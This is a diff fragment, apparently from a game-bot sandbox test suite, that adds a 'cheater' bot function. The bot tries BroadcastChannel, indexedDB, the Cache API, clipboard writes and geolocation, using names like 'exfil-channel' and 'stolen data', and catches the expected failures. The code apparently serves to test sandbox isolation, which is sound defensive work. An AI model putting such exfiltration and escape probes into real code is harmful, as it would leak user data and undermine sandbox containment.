|
+
export const CheaterStorageAndComms: WizardFunction = () =>
|
|
345
|
+
{
|
|
346
|
+
const g = globalThis as any;
|
|
347
|
+
|
|
348
|
+
// --- BroadcastChannel (cross-tab/worker communication) ---
|
|
349
|
+
try
|
|
350
|
+
{
|
|
351
|
+
const bc = g.BroadcastChannel
|
|
352
|
+
? new g.BroadcastChannel('exfil-channel')
|
|
353
|
+
: null;
|
|
354
|
+
bc?.postMessage?.('secret data');
|
|
355
|
+
bc?.close?.();
|
|
356
|
+
}
|
|
357
|
+
catch
|
|
358
|
+
{
|
|
359
|
+
/* expected */
|
|
360
|
+
}
|
|
361
|
+
|
|
362
|
+
// --- indexedDB (persistent storage) ---
|
|
363
|
+
try
|
|
364
|
+
{
|
|
365
|
+
const db = g.indexedDB?.open?.('exfil-db', 1);
|
|
366
|
+
if (db)
|
|
367
|
+
{
|
|
368
|
+
// If indexedDB is available, bot could store/retrieve data across matches
|
|
369
|
+
}
|
|
370
|
+
}
|
|
371
|
+
catch
|
|
372
|
+
{
|
|
373
|
+
/* expected */
|
|
374
|
+
}
|
|
375
|
+
|
|
376
|
+
// --- Cache API ---
|
|
377
|
+
try
|
|
378
|
+
{
|
|
379
|
+
const cache = g.caches?.open?.('exfil-cache');
|
|
380
|
+
if (cache && typeof cache.then === 'function')
|
|
381
|
+
{
|
|
382
|
+
// Could cache external resources for later use
|
|
383
|
+
}
|
|
384
|
+
}
|
|
385
|
+
catch
|
|
386
|
+
{
|
|
387
|
+
/* expected */
|
|
388
|
+
}
|
|
389
|
+
|
|
390
|
+
// --- navigator (various APIs) ---
|
|
391
|
+
try
|
|
392
|
+
{
|
|
393
|
+
// navigator.clipboard, navigator.geolocation, etc.
|
|
394
|
+
const nav = g.navigator;
|
|
395
|
+
nav?.clipboard?.writeText?.('stolen data');
|
|
396
|
+
nav?.geolocation?.getCurrentPosition?.(() =>
|
|
397
|
+
{});
|
|
398
|
+
}
|
|
399
|
+
catch
|
|
400
|
+
{
|
|
401
|
+
/* expected */
|
|
402
|
+
}
|
|
403
|
+
|
|
404
|
+
return {move: {x: 0, y: 0}};
|
|
405
|
+
};
|